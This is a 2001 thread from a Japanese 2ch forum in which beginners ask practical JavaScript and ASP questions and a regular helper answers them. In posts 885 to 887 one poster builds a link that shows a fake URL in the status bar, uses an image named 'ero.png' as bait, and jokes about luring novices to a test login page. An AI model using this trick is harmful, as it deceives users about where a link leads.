<form name="KEISAN">
160円 ×
<select name="KAZU" onChange="func1(this)">
<option value="0" selected>0</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
</select> =
<input type=text name="SHOKEI" value="0" size="10">円
</form>
</body>

798 名前:Name_Not_Found 投稿日:2001/03/19(月) 00:29
IEのfilter:についてなのですが、CSSスレで聞いたらJavaScriptスレに行くよう
言われたのでこちらで質問させてください。

今回IE限定のページを作るのでfilter:機能を使いたいのですが、
なぜか同じWin98&IE5.5という環境にも関わらずfilter機能が
働かないマシンがあります(vaio)
やろうとしていることは、
<IMG SRC="xxx1.jpg" ID="PHOTO" STYLE="filter:blendTrans(duration=1);">
このイメージに対して
 PHOTO.filters.blendTrans.Apply();
 PHOTO.src='xxx2.jpg';
 PHOTO.filters.blendTrans.Play();
これでイメージ置き換えの際にトランジッション効果をかけたいのです。

この際に、先のvaioだと効果が働かないだけでなく、イメージの切り替え
そのものも無効になってしまいます。
そこで、filterに対応しているかどうかを判定して対応している場合のみ
先の処理をさせて、未対応の場合は単に PHOTO.src='xxx2.jpg'; だけを
処理させようと思ったのですが、filterに対応しているかどうかの判定方法が
分かりません。if(document.images)のようにif(filters.blendTrans)などとやっても
エラーになってしまいます。何か良い方法は無いでしょうか?


799 名前:( ´Д`) 投稿日:2001/03/19(月) 11:34
>>798
フィルタ機能の実装判別であれば if(PHOTO.filters) で実現できますが、
vaioだけフィルタが働かないというのは何らかのバグが原因だと思われるので、
この判別式でも真が返されるような気がします。
とりあえず、ちょっとしたフィルタのサンプルを組んでみたので
問題のvaioで実行してみてもらえますか?
もしこれもダメだとすると、おそらく打つ手はないです(;´Д`)

サンプル http://wwwhtml.virtualave.net/up/file/014.html

800 名前:(;´Д`) 投稿日:2001/03/19(月) 11:35
またあげ忘れてた…

801 名前:Name_Not_Found 投稿日:2001/03/19(月) 11:45
詳細設定でページの切り替えを行なうがOFFになってるとか?

802 名前:( ´Д`) 投稿日:2001/03/19(月) 12:03
イメージに対するトランジションだから違うんでないかな。

803 名前:Forest 投稿日:2001/03/19(月) 12:58
>>797
ありがとうございました。
なにぶん、人様のページを見つつ、独学でやっているものですから、壁にぶつかると
すぐ別の道に進んでしまい(苦笑)、なかなか上達しません。
大変助かりました。


804 名前: 投稿日:2001/03/19(月) 19:15
文章の上をマウスでさわると、説明が出てくるようにしたのですが
クリックしてリンクする、という方法がわかりません。分かる方、
教えて下さいお願いします。
<SCRIPT type="text/javascript">
&lt;!--
function display_text(message){
if(document.all){
info.innerHTML = message;
}
else if(document.layers){
document.info.docment.open();
document.info.document.write(message);
document.info.document.close();
}
}
//--&gt;
</SCRIPT>
<BODY>
<TABLE>
<TR>
<TD width="120"><A HREF="#"
onMouseover="display_text('解説がわかりやすいよ。')">紹介</A></TD>
<TD rowspan="4" width="300" valign="top">
<DIV id="info" style="position:
absolute;left:200px;top:20px"></DIV>
</TD>
</TR>
<TR><TD width="120"><A HREF="#"
onMouseover="display_text('ナイショだよ。')">コンセプト</A></TR>
</TABLE>
</BODY>
どこをさわればいいですか?

805 名前:( ´Д`) 投稿日:2001/03/19(月) 19:22
>>804
クリックしてリンク、というのは何に対してですか?

806 名前: 投稿日:2001/03/19(月) 22:42
えっと、紹介からクリックして別のページに行くことです。
例えば自己紹介のページに行くとか。

807 名前:Name_Not_Found 投稿日:2001/03/19(月) 23:08
JavaScriptでブラウザのウィンドウの大きさを取得するには
どうすればいいんですか?それを<applet heightやwidth>
のパラメータとし、さらにonresizeで動的にアプレットの
大きさを変えたいんです。innerWidthやinnerHeightはIEで
使えないみたい?

808 名前:( ´Д`) 投稿日:2001/03/20(火) 00:13
>>806
普通にA要素のhrefにアドレスを指定するとよいです。
余談ですが、IE4以降&N6(Mozilla)以降の環境であれば
タグにtitle属性を指定することでツールチップが表示されるようになります。
たとえば、<a href="http://www.2ch.net/" title="2ちゃんねる">2ch</a>と記述すると、
リンクにマウスを重ねると[2ちゃんねる]というツールチップが表示されるわけです。
手軽に使えて便利なのでお試しになってみてください。

>>807
IEの場合、オブジェクトの縦横のサイズを
clientHeight ・ clientWidthというプロパティで拾うことができます。
ブラウザに表示されるドキュメントそのものを意味する
document.body オブジェクトにこれらを適用し、
document.body.clientHeight ・ document.body.clientWidth と記述してみてください。

809 名前: 投稿日:2001/03/20(火) 01:49
hrefの指定はどのへんにしたら良いですか?
<A HREF="#" onMouseover="display_text('解説がわかりやすいよ。')">
の後に、<a href…></a>というふうに指定したのですが
リンクされるだけで、メッセージは出ませんでした。>>808
教えてもらった方法でもやってみたのですが、上手くいかな
かったです(;−;)

810 名前:681 投稿日:2001/03/20(火) 02:31
>>809
むかしのやつだけど、欲しそうなので置いてみたり。どうぞ。
http://homepage1.nifty.com/VET06031/lib/dynamicMessage.html


811 名前:( ´Д`) 投稿日:2001/03/20(火) 12:22
>>809
要するに、<A HREF="#" onMouseover="display_text('解説がわかりやすいよ。')"> を、
<A HREF="http://www.2ch.net/" onMouseover="display_text('解説がわかりやすいよ。');">
といった感じにhref属性を書き換えてしまうですよ。
あと、ツールチップはtitle属性を指定した要素の上に0.5秒ぐらいマウスポインタを置くと表示されます。

812 名前: 投稿日:2001/03/20(火) 19:09
( ´Д`)さん、681さんありがと^^やってみたらできました〜。
問題は解決しました♪またお願いします。

813 名前:Name_Not_Found 投稿日:2001/03/20(火) 19:19
>>811
どうでもいいけど、ヘルプチップじゃないのか。それ。

814 名前:( ´Д`) 投稿日:2001/03/20(火) 23:31
>>813
用途の範囲で考えるとヘルプチップというよりツールチップかな、と。
どっちにしろ意味が通じればOKということで。

815 名前:名無したん 投稿日:2001/03/21(水) 15:55
ASPを使ってデータベースから引っ張ってきたデータで可変個のチェックボックスを
作るプログラムですべてのチェックボックスをチェックしてない場合にボタンを押すと
エラーメッセージが出るなどの動作をJAVASCRIPTで作りたいのですがいまいちわかりません。
チェックボックスを作るときに名前は「CK1」「CK2」等と自動的に番号が付加するようにしています。
誰か教えてください。

816 名前:( ´Д`) 投稿日:2001/03/21(水) 16:41
>>815
↓こちらのソースを参考にしてみてください。
http://wwwhtml.virtualave.net/up/file/015.html

817 名前:名無したん 投稿日:2001/03/21(水) 16:57
>>816
上のURLの

BufferObject = document.Data.elements;

てのはフォームデータの上から1番目、二番目と数えていって良いのでしょうか?
チェックボックス以外にもデータがあるので。

818 名前:( ´Д`) 投稿日:2001/03/21(水) 17:12
>>817
if(BufferObject[Vars1].type == "checkbox" && (BufferObject[Vars1].name).match("CK"))
という部分でエレメントの種別判別かけてますのでノープロブレムです。
ついでに、nameに"CK"という文字列が含まれてるかどうかも判別かけときました。

819 名前:名無したん 投稿日:2001/03/21(水) 17:19
>>818
なるほど、この場合チェックボックスの個数が変わっても大丈夫なわけですね
ありがとうございます。

820 名前:名無したん 投稿日:2001/03/21(水) 18:17
えっとさっきの追加なのですが全部にチェックが書いてあった場合は
戻り値A、チェックが一つでもついてあった場合にはB@`チェックがどれにもついてない場合は
Cとしたいのですがどうしたらいいでしょうか?
ちなみに戻り値は次画面でフラグとして使いたいです。

821 名前:( ´Д`) 投稿日:2001/03/21(水) 18:50
>>820
内容を確認したいチェックボックスの総数と
その中でチェックされてたものの個数を拾って、
総数とチェック個数が等値か否かを判別し、
否であればさらにチェック個数がゼロか否かという判別を行い、
結果を隠しフォームかサーチ文字列で送信すればよいです。

作りはそんなに難しくはないと思うので
できれば前のソースを元に自力でチャレンジしてみてください。
いちおう、どうしても分からなかった時のためにサンプルも用意しておきます。
http://wwwhtml.virtualave.net/up/file/016.html

822 名前:Name_Not_Found 投稿日:2001/03/21(水) 18:51
クソスレ終了

823 名前:Name_Not_Found 投稿日:2001/03/21(水) 19:07


            o
            /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ /
           /   このスレは無事に  /
           /  終了いたしました    /
          / ありがとうございました  /
          /                /
         /    モナーより      /
         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
  ∧_∧  /                /∧_∧
 ( ^∀^) /                /(^∀^ )
 (    )つ               ⊂(    )
 | | |                   | | |
 (__)_)                  (_(__)




824 名前:Name_Not_Found 投稿日:2001/03/21(水) 19:09


            o
            /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ /
           /   このスレは無事に  /
           /  終了いたしました    /
          / ありがとうございました  /
          /                /
         /    モナーより      /
         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
  ∧_∧  /                /∧_∧
 ( ^∀^) /                /(^∀^ )
 (    )つ               ⊂(    )
 | | |                   | | |
 (__)_)                  (_(__)



825 名前:Name_Not_Found 投稿日:2001/03/21(水) 19:14
━━━━▼ そして再開 ▼━━━━

826 名前:Name_Not_Found 投稿日:2001/03/21(水) 19:20


            o
            /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ /
           /   このスレは無事に  /
           /  終了いたしました    /
          / ありがとうございました  /
          /                /
         /    モナーより      /
         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
  ∧_∧  /                /∧_∧
 ( ^∀^) /                /(^∀^ )
 (    )つ               ⊂(    )
 | | |                   | | |
 (__)_)                  (_(__)


827 名前:Name_Not_Found 投稿日:2001/03/21(水) 19:21
クソスレ終了

828 名前:Name_Not_Found 投稿日:2001/03/21(水) 19:23
質問系のスレを荒らすのは勘弁してくれ。

829 名前:Name_Not_Found 投稿日:2001/03/21(水) 19:24


            o
            /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ /
           /   このスレは無事に  /
           /  終了いたしました    /
          / ありがとうございました  /
          /                /
         /    モナーより      /
         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
  ∧_∧  /                /∧_∧
 ( ^∀^) /                /(^∀^ )
 (    )つ               ⊂(    )
 | | |                   | | |
 (__)_)                  (_(__)



830 名前:Name_Not_Found 投稿日:2001/03/22(木) 00:19
春房だな、外で遊べ外で。わからなきゃ来るな。

831 名前:名無したん 投稿日:2001/03/22(木) 12:01
昨日はどうもありがとうございました。
条件分岐はできたのですがチェックボックスに付随して付くデータや
その前の部分につくデータが次のページに引数として転送されません。
どうしたら良いのでしょうか・・・

832 名前:名無したん 投稿日:2001/03/22(木) 12:23
自己解決しました、すみません

833 名前:Name_Not_Found 投稿日:2001/03/22(木) 12:25
あれてるなぁ・・・このスレ
聞きたいことあってもなんだか聞けない雰囲気だよね



834 名前:Name_Not_Found 投稿日:2001/03/22(木) 12:37
>>833
Web屋は、金にならない話と金を取らないで
他人に教える人が大嫌いなんだよ。

835 名前:( ´Д`) 投稿日:2001/03/22(木) 13:07
オレ、いちおーWeb屋ですが。業務用Webアプリがメインだけど。
総合的なノウハウはさすがに他人には教えられないけど、
基礎技術でつまづいてる人にはすすんでアドバイスしたいですよ。
自分自身、多くの親切な方々のお世話になってきましたから。

836 名前:名無したん 投稿日:2001/03/22(木) 13:22
無事にデータの引継ぎができましたが可変個のデータを
変数に格納する方法がわかりません・・・・・
基本的に使用したいはチェックが入ったデータだけなんですけど
JAVASCRIPTから外れた質問なのですが・・

837 名前:( ´Д`) 投稿日:2001/03/22(木) 13:50
>>836
文意がいまいち掴みづらいのですが、
つまり、"CK〜"とnameが設定されたチェックボックスの総数を調べたいわけですか?
それでしたら、サンプル http://wwwhtml.virtualave.net/up/file/016.html
関数CheckBoxCheck内で使用されている変数CheckLengthの扱われ方を参考にしてみてください。


838 名前:名無したん 投稿日:2001/03/22(木) 14:00
えっとASPで作ってるんですけど
チェックボックスとそれに関連したデータをいくつかDBから引っ張ってきて
表示させる画面をまず作り、ボタンを押すことによって次のページに表示されたデータを
遷移したいのですけど、そのデータが可変個なので次ページでどう定義すれば良いかわからないんです

839 名前:( ´Д`) 投稿日:2001/03/22(木) 14:42
>>838
チェックボックスにはnameに "CK" + 1 から始まる連番 というキーワードが設定されているんですよね?
であれば、837で示している方法でチェックボックスの総数を隠しフォーム等を使って送信した後、
サーバサイドで次のような処理を行ってみてはいかがでしょう。

1.データ格納用の2次元配列を用意。

2.チェックボックスの総数分ループを行うfor構文を用意。
  for構文のカウンタ変数は必ず1からスタート。

3.for内で "CK" & カウンタ変数 というキーワードを使って
  フォーム情報あるいはクエリ文字列を取得し、
  value値が空でなければキーワードとペアにして2次元配列に格納。

こうやって格納したデータを必要に応じて利用していくとよいです。

840 名前:( ´Д`) 投稿日:2001/03/22(木) 14:44
追記:
それぞれのチェックボックスのvalueに
シーケンスに利用可能な一意の値を設定すると便利ですよ。

841 名前:Name_Not_Found 投稿日:2001/03/22(木) 15:07
ASPの質問があるみたいなので便乗して良いですか?
フォームでテキストエリアの値を確認画面に表示させたいんですけど
テキストエリアの値が大きいのか途中から文字化けしたり切れたりします
何ででしょうか?

842 名前:( ´Д`) 投稿日:2001/03/22(木) 16:03
>>841
確認画面にテキストエリアの内容を表示させている
具体的な方法についても書き添えてもらえますか?
ASPもある程度知ってますのでソースの該当部分を
直で抜き出して書いてもらってもOKですよ。

どーでもいいけどCGI板にASPスレってないのね。ま、IISじゃ仕方ないか。

843 名前: 投稿日:2001/03/22(木) 16:14
また来ました。今回はマウスを乗せたときに画像が変化するようにしたい
のですが、途中でエラーが出ました。

<SCRIPT type="text/javascript">
&lt;!--
var imgObj;
if(document.images){
var img1_off = new Image();
var img1_on = new Image();
}
function Init(){
img1_off.src="kawa.gif";
img1_on.src="kawata.gif";
document.img1.src = img1_off.src;←ここの行でエラーが出ます。
}

function changeImg(charImg@` bstatus){
imgObj=eva1(charImg+"_" + bstatus+ ".src");
if((document.images)&&(imgObj)){

document.images[charImg].src=
eva1(charImg+"_"+bstatus+".src");
}
}
//--&gt;
</SCRIPT>
</HEAD><BODY onLoad="Init()">
<H3>どんなかな?</H3>
<HR>
<A href="#" onMouseover="changeImg('img'@`'on')"
onMouseout="changeImg('img1'@`'off')"
<IMG name="img1" border="0" width="150" height="30">
</A><BR>
</BODY>
</HTML>

「document.img1はオブジェクトではありません。」と言われるのですが
どこがおかしいですか?よろしくお願いします。

844 名前:Name_Not_Found 投稿日:2001/03/22(木) 16:25
>>842
テキストエリアに名前をつけて転送して
別ページのテキストエリアに貼りつけてる感じです
TXTARE = TRIM(REQUEST("TXTARE"))

*HTML部分
<TEXTAREA cols=120 name=HONBUN rows=31><%=TXTARE%></TEXTAREA>




845 名前:( ´Д`) 投稿日:2001/03/22(木) 16:37
>>843
img要素のsrcが指定されてないのがマズいような気がします。
多分、それが原因でImageオブジェクトとして成立してないんじゃないでしょうか。
ついでに言うと、img要素にも直でonmouseover・onmouseoutは指定できるので
以下のように修正してしまうとよいです(長いのでふたつに分けます)

<html>
<head>
<meta http-equiv="content-type" content="text/html">
<meta http-equiv="content-style-type" content="text/css">
<meta http-equiv="content-script-type" content="text/javascript">
<title></title>
<script type="text/javascript">
&lt;!--
var imgObj;
if(document.images){
var img1_off = new Image();
var img1_on = new Image();
}

function Init(){
img1_off.src = "kawa.gif";
img1_on.src = "kawata.gif";
document.img1.src = img1_off.src;
}

function changeImg(charImg@` bstatus){
imgObj = eval(charImg + "_" + bstatus+ ".src");
if(document.images && imgObj){
document.images[charImg].src = eval(charImg + "_" + bstatus + ".src");
}
}
//--&gt;
</script>
</head>
(1/2)

846 名前:( ´Д`) 投稿日:2001/03/22(木) 16:38
<body onload="Init();">
<h3>どんなかな?</h3>
<hr>
<img name="img1" src="kawata.gif" border="0" width="150" height="30" onmouseover="changeImg('img'@` 'on');" onmouseout="changeImg('img1'@` 'off');"><br>
</body>
</html>
(2/2)

847 名前:( ´Д`) 投稿日:2001/03/22(木) 16:40
>>843
あと、eva1() ではなく eval() です。間違えないようにご注意を。

848 名前: 投稿日:2001/03/22(木) 16:49
( ´Д`) 様。

早速のご回答有難うございます〜^^やってみます!
>>847はそういうことだったんですね…(−−;)

849 名前:( ´Д`) 投稿日:2001/03/22(木) 16:51
>>844
文字列データをHTMLにそのまま貼り付けるのはちょっとマズいです。
"<" や ">" がデータに入っているとタグの記述がおかしくなりますし、
"&" などは文字参照記述の開始として誤認される恐れがあります。
この3つの文字は下の文字参照記述に置換しておいてください。

"&" → "&amp;" (この変換が最優先)
"<" → "&lt;"
">" → "&gt;"

850 名前:(;´Д`) 投稿日:2001/03/22(木) 16:55
うがっ、実体参照はちゃんと表示変換されてるし。
2chのCGIどうなってるねん。

>>844

849のけったいな置換表

>> 姫 さん
様付けはムズムズするので勘弁してください(笑

851 名前: 投稿日:2001/03/22(木) 16:59
( ´Д`) さんへ。
わかりましたー。じゃあさん付けで良いですか?

852 名前:Name_Not_Found 投稿日:2001/03/22(木) 17:02
>>850
特にそう言う文字は使ってないんですけど何故か途中から表示されないです。
表示はテストのためで最終的にDBに格納するので今のままじゃ大問題です
文字数が多いからなのでしょうか?
他に引数としてもってくるやり方があれば良いのですが・・・

853 名前:( ´Д`) 投稿日:2001/03/22(木) 17:04
途中で送信してしまった…

>>844
849のけったいな置換表は手違いデス。
下のものを参照してください。

"&" → "&amp;amp;" (この変換が最優先)
"<" → "&amp;lt;"
">" → "&amp;gt;"

あと、↓も目を通しておくとよいです。
www.ne.jp/asahi/minazuki/bakera/html/reference/charref

854 名前:( ´Д`) 投稿日:2001/03/22(木) 17:16
>> 姫 さん
さん付けでOKですよ。

>>852
もし可能であれば、実際にそういった現象を起こすデータを抜き出して、
テキスト形式でアップローダーにあげてもらえますか?

アップローダー http://wwwhtml.virtualave.net/up/file.cgi

855 名前:Name_Not_Found 投稿日:2001/03/22(木) 17:23
>>854
わかりずらいと思いますがUPしました。
テキストエリア部分を次のページでDB格納してます。

856 名前:名無したん 投稿日:2001/03/22(木) 17:37
ようやくできました。
( ´Д`) さん、いろいろとありがとうございました。
また困ったら教えてください、本当にありがとうございます。

857 名前:( ´Д`) 投稿日:2001/03/22(木) 17:52
>>855
どうも、DBから得たデータに問題があるような気がします。
DBから得た個々のデータの取得時に853で挙げた置換を仕掛け、
更にvbLfをvbCrlfに置換してみてください。

858 名前: 投稿日:2001/03/22(木) 18:25
( ´Д`)さんへ。
>>845>>846で修正してもらったソースでやってみたのですが、また
エラーが(;−;)!画像も上手く表示されなくて、
「'img_on'は宣言されていません。」って出ました。私のパソコンが
おかしいのでしょうか。何度もすみません…。

859 名前:( ´Д`) 投稿日:2001/03/22(木) 18:39
>>858

すみません、チェックが甘かったみたいです(;´Д`)
誤:<img name="img1" src="kawata.gif" border="0" width="150" height="30" onmouseover="changeImg('img'@` 'on');" onmouseout="changeImg('img1'@` 'off');">

正:<img name="img1" src="kawata.gif" border="0" width="150" height="30" onmouseover="changeImg('img1'@` 'on');" onmouseout="changeImg('img1'@` 'off');">

こっちの方がいいかも。
改:<img name="img1" src="kawata.gif" border="0" width="150" height="30" onmouseover="changeImg(this.name@` 'on');" onmouseout="changeImg(this.name@` 'off');">

860 名前: 投稿日:2001/03/22(木) 18:55
( ´Д`) さん有難うございました〜〜〜!!できましたよ〜♪
すごいーなんか感動です^^感動して、また質問があります。ク
リッカブルマップについてですが、あれって値を指定しますよね。
上手に画像とあわせるには、何を参考にしたら良いですか?ちな
みに私の使っているのはウィンドウズで、ソフトはビルダーです。
よろしくお願いします。

861 名前:( ´Д`) 投稿日:2001/03/22(木) 19:09
実はクリッカブルマップってあまり使わないんですよね。
画像リンクを並べちゃえばいいやって感じで(w
割と画像OFFでページ見て回ることが多いんですが、
クリッカブルマップより画像リンクが並んでる方が
どこをクリックすればいいのかわかりやすいんですよね。
そんなこんなでコレ!というアドバイスはできそうにないです。
力になれなくてすいません(;´Д`)

ちとスレ違い気味なのでsage

862 名前: 投稿日:2001/03/22(木) 20:30
わかりました。どうも有難うございました^^でも答えて下さって
嬉しいです!

863 名前:Name_Not_Found 投稿日:2001/03/23(金) 01:04
そろそろ新スレ立てない?

864 名前:初心の者 投稿日:2001/03/23(金) 04:26
クリッカブルマップで、onMouseOverでステータスバーに
文字列を表示したいんですが、WINのIE5では無視されてしまい、
URLが表示されてしまいます。onMouseOutは動くみたいなんですが。
これはもう仕方ないですか?あとMACのIEでも無視されるんでしょうか?


865 名前:( ´へ`) / 投稿日:2001/03/23(金) 07:15
>>864
return trueを書いていないと思われ。

onMouseOver="window.status='オマエモナー';return true;"

866 名前:( ´Д`) 投稿日:2001/03/23(金) 07:56
>>864
865さんも書かれてますが、リンクの onmouseover か onfocus で status を操作する場合、
WinIEでは同時に return true してやらないとせっかくの操作した内容が
リンクのURL表示で上書きされてダメになってしまいます。旧いIEだと大丈夫だったんですが(苦笑

867 名前:( ´Д`) 投稿日:2001/03/23(金) 07:59
>>863
900になってからでいいんじゃないでしょか。

868 名前:初心の者 投稿日:2001/03/23(金) 12:38
return true、書いてます。
「〜'***'; return true;」としないといけないのでしょうか?
(一番最後の”;”が要りますか?)
あと書き忘れましたが、WINのネスケでは正常に動作します。

869 名前:( ´Д`) 投稿日:2001/03/23(金) 13:09
>>868
return をイベントハンドラで直接記述する場合、
かならず一番最後に持ってくるようにしてください。
IE4以降ではイベントハンドラはfunctionオブジェクト、
つまりはひとつの関数として扱われてるようなんですが、
rutern は実行された関数を終了させてしまうので、
以後の記述がすべて無視されることになります。

870 名前:(;´Д`) 投稿日:2001/03/23(金) 13:29
rutern って……
必ずどこかをミスらないと気がすまないのかオレ(泣

871 名前:( ´Д`)ファンクラブ会員番号00001 投稿日:2001/03/23(金) 14:01
がんばれ( ´Д`)さん

872 名前:Name_Not_Found 投稿日:2001/03/23(金) 15:33
>>871
そのハンドルやめてー。身体がムズムズして氏ぬー(w

873 名前:( ´Д`)ファンクラブ会員番号00002 投稿日:2001/03/23(金) 16:11
ガンバレ!

874 名前:(;´Д`) 投稿日:2001/03/23(金) 16:37
>>873
いじめだ…

考え過ぎかもしれないけど、こういうのが続くと馴れ合いっぽく見えて
質問しにきた人が引いちゃうかもしれないので、このぐらいで切り上げましょ。

875 名前:Name_Not_Found 投稿日:2001/03/23(金) 18:54
結局、Microsoftと全く同じメニューは無理なのかい?

876 名前:( ´Д`) 投稿日:2001/03/23(金) 19:30
>>875
「全く同じ」であればいいんですが、
実際に希望されてるのは「同様の機能」を備えた
汎用モジュール的なサンプルスクリプトですよね?
けど、ああいうモノはある意味コンテンツと直結してるので、
サイトとページの構成を把握してる人間が作らないと
あちこちに嫌な落とし穴を作りかねないんですよ。
なので、このスレで今までに提示されているサンプルを
自分なりに改造するのが一番だと思います。

877 名前:(+_+)/~基本的なことでスンマソン 投稿日:2001/03/23(金) 21:00
たいした疑問でもないのですが
基本型と参照型について勉強してます。
基本型には数値、論理値、null、未定義値が格納され、
参照型にはオブジェクト、配列、関数、などが格納されるのは
わかりました。
そこで参照型について質問ですが、
var a = [1@`2@`3]//変数に配列の参照を設定
var b = a; //この参照を新しい変数にコピーする
a[0] = 99; //元の参照を使って配列に変更を加える。
alert(b); //変更された配列[99@`2@`3]が表示される。新しい配列の参照が使用。

ここで1が格納されていても、[99@`2@`3]が表示されるのは、
0(ゼロ)を起点にしているからですか?

878 名前: (+_+)/~基本的なことでスンマソン 投稿日:2001/03/23(金) 21:03
テレホにまた来ます。

879 名前:( ´Д`) 投稿日:2001/03/23(金) 22:57
>>877
参照型変数はC言語のポインタに近いものだと捉えると分かりやすくなるでしょうか。
要するに、基本型変数がメモリ上のデータを直接指し示しているのに対し、
参照型変数はグループ化されたメモリ上のデータ群を示すインデックスを格納しているわけです。
これを踏まえた上で考えると、例示されている命令群は次のような意味になります。

var a = [1@`2@`3];
//配列の実体がメモリ上に生成され、参照のためのインデックスが変数aに定義される。

var b = a;
//インデックスが変数aから変数bにコピーされる。

a[0] = 99;
//変数aの持つインデックスを利用し、配列の0番目の値が1から99に書き換えられる。

alert(b);
//変数bの持つインデックスをalertメソッドに引き渡す。
//JavaScriptエンジンの処理により、
//カンマ区切りの数値文字列がダイアログに表示される。

重要なのは、結局のところメモリ上に生成された配列はひとつだけで、
変数aと変数bが配列を参照するインデックスを共用しているということです。
言い換えると、変数aの示す配列と変数bの示す配列は同一であるわけです。

880 名前:Name_Not_Found 投稿日:2001/03/23(金) 23:31
画像にマウスを乗せると
ステータスバーにメッセージを表示させたい
文字は上手くいくのですが、画像だとエラーがでます。
おしえてたもう




881 名前:(+_+)/~基本的なことでスンマソン 投稿日:2001/03/24(土) 00:07
>>879
ありがとう。
ああ、全く見当違いの考え方をしていたとは・・
インデックスを共有しているということを理解していなかった
んですねぇ・・
変数はaとbの2個あるけれど、
配列オブジェクトは一つなんですね。
勉強になりましたです。
次は式と演算子に入ります。ナカナカススマナイデス・・

882 名前:(+_+)/~基本的なことでスンマソン 投稿日:2001/03/24(土) 00:16
さっきからプツプツ回線が切れるなぁ。
アタックか?
( ´Д`) さん
スクリプトつきの解説大変分かり易かったです。
自分の場合は通読するだけでも相当時間がかかりそうです・・ウウ




883 名前:880 投稿日:2001/03/24(土) 00:19
あ、できた
リンク画像にマウスのせて、
burakura.html じゃ、誰も踏まないと思ったからね


884 名前:( ´Д`) 投稿日:2001/03/24(土) 00:34
>>882
ひょっとしてO'REILLYですか?
だとしたら取っ掛かりからしんどい本を選ばれたもんですね(w
けど、アレを読み通せばかなりの知識が付くと思います。

間違ってたらマヌケだ(w

>>883
…(;´Д`)

885 名前:880 投稿日:2001/03/24(土) 00:52
burakura.html って言うのは冗談です(笑

一応 ネスケで確認したら上手くできたんですが..
<a href="http://123.456.789" onMouseOver="status='http://123.123.123.123'" onMouseOut="status"''">
<IMG SRC="ero.png" ></a>

IE5で試したら 失敗でした。
すみません、どなたかご教授願います。m(_ι_)m

886 名前:( ´Д`) 投稿日:2001/03/24(土) 01:02
>>885

>>864-869にほぼ同内容の質問と解答がありますのでご覧になってみてください。

887 名前:880 投稿日:2001/03/24(土) 01:17
>>886さま
ありがとうございました!できました。

△の中に!マークが出ちゃいますが。
これがらは過去ログを見てから質問しますm(^^)m

<a href="https://111.111.111/" onMouseOver="status='http://111.111.111/';return true;">
<IMG SRC="ero.png"></a>
こんな感じで、厨房の魂を抜く事ができそうです。test用の認証ですが。
いくら厨房でもむき出しでは踏まないような..

ありがとうございました!




888 名前:(+_+)/~基本的なことでスンマソン 投稿日:2001/03/24(土) 01:19
>>884
ズバリです。
それにしてもム〜ツカシイです。
HTMLしか触ったことがないのでサッパリです。
ページ数400以上で、クライアントサイドはp213からなので
まだまだです。(現在65ページ)でも語句自体の意味を全く
知らないので、ごついのが一冊あるとべんりかな〜と思って買いました。
ヤタラトジカンカカルケド


889 名前:( ´Д`) 投稿日:2001/03/24(土) 01:32
>>887
お願いですから様付けは勘弁してください(笑

>>888
技術評論社刊「JavaScriptポケットリファレンス」なんかもオススメです。
コアな部分にはあまり触れてませんが、手っ取り早く覚えるのには便利な本です。

890 名前:Name_Not_Found 投稿日:2001/03/24(土) 04:14
文字やテーブル等がスライドするJavaScriptは見つけたんですが、
ボタンをクリックしたりすると、スライドするようなScriptって無いでしょうか…

891 名前:Name_Not_Found 投稿日:2001/03/24(土) 07:19
ボタンのオンクリックハンドラをそのスクリプトに渡してあげれば吉。

892 名前:890 投稿日:2001/03/24(土) 08:13
>891
そのやり方が解らないです…

893 名前:  投稿日:2001/03/24(土) 08:33
>892
2chは君のブレインか?

ハンドラ定義やif文、while文の記述やら説明やらをここでやるのは
不可能だよ。リファレンスページなんかいくらでもあるんだから自分の
ペースで理解しろよ。

つきはなすつもりはあんまり無いが、そのくらい話は込み入ってる。
君は何も学習しないことになるが、安易に答えだけ欲しいならその
スクリプトをここに書いてみて、「これを使ってこうしたい」って
いうのをもうちょっと詳しく書いてみれば?

894 名前:Name_Not_Found 投稿日:2001/03/24(土) 12:34
スイマセン。
基本的なことかもしれないんですが、特定のリンク元からの
アクセスを別ページに飛ばすのってJavaScriptで出来ますか?
知ってる人、教えてください。

895 名前:Name_Not_Found 投稿日:2001/03/24(土) 12:58
>894
if(document.referrer==特定のURL){
別のページにとばす;}
ではダメ?

896 名前:Name_Not_Found 投稿日:2001/03/24(土) 13:00
JavaScriptの編集に適したエディタってなにかあります?
いまはnotepad使ってます・・・

既出の質問ならスマソ

897 名前:Name_Not_Found 投稿日:2001/03/24(土) 13:02
>895
スバヤイ回答、ありがとう!
早速、試してみます!!

898 名前:Name_Not_Found 投稿日:2001/03/24(土) 13:07
スイマセン 894です。
えっと、これはheder内に記述するんでしょうか?
あと、「別のページにとばす」は、どうすれば...
何度もごめんなさい。

899 名前:Name_Not_Found 投稿日:2001/03/24(土) 13:37
>>894 このページより無断抜粋(スマソ)
http://www.oitaweb.ne.jp/hp/tatsuya/java/referrer.htm

Q&A
Q:「私のHPは index.html がトップページで、どうしてもこのページから入って欲しいのですが、index2.html から入ってくる人が大勢いるのです...そこで index2.html に直接入ってきたら、強制的に index.html へ飛ばしたいのですが」

A:下記のスクリプトを index2.html の <HEAD>タグの中に書き込んでください。
<script language="JavaScript">
&lt;!--
if (document.referrer != "http://www.provider.co.jp/yourHP/" && // リンク元がトップページ
document.referrer != "http://www.provider.co.jp/yourHP/index.html"){ // じゃなかったら..
location.href = "http://www.provider.co.jp/yourHP/index.html"; // トップページへジャンプ
}
// --&gt;
</script>



900 名前:Name_Not_Found 投稿日:2001/03/24(土) 17:05
900かー。ラストです。
マウスオーバーで画像切り替わるすくりぷとあるじゃないですか。
あれの、もっと細かい動きのやつってわかります?(3段階くらいの)
あの、オゾンのボールみたいなの。


901 名前:Name_Not_Found 投稿日:2001/03/24(土) 17:21
オゾンのボールってのがわからないんですが、
切り替わる画像をアニメーションGIFの画像に
すればよいのでは?
(そういうこではない?)

902 名前:新スレ 投稿日:2001/03/24(土) 18:08
900越したので新スレ立てました。
長めの質問や回答になりそうな場合は移行してください。

vol.2のスレです。
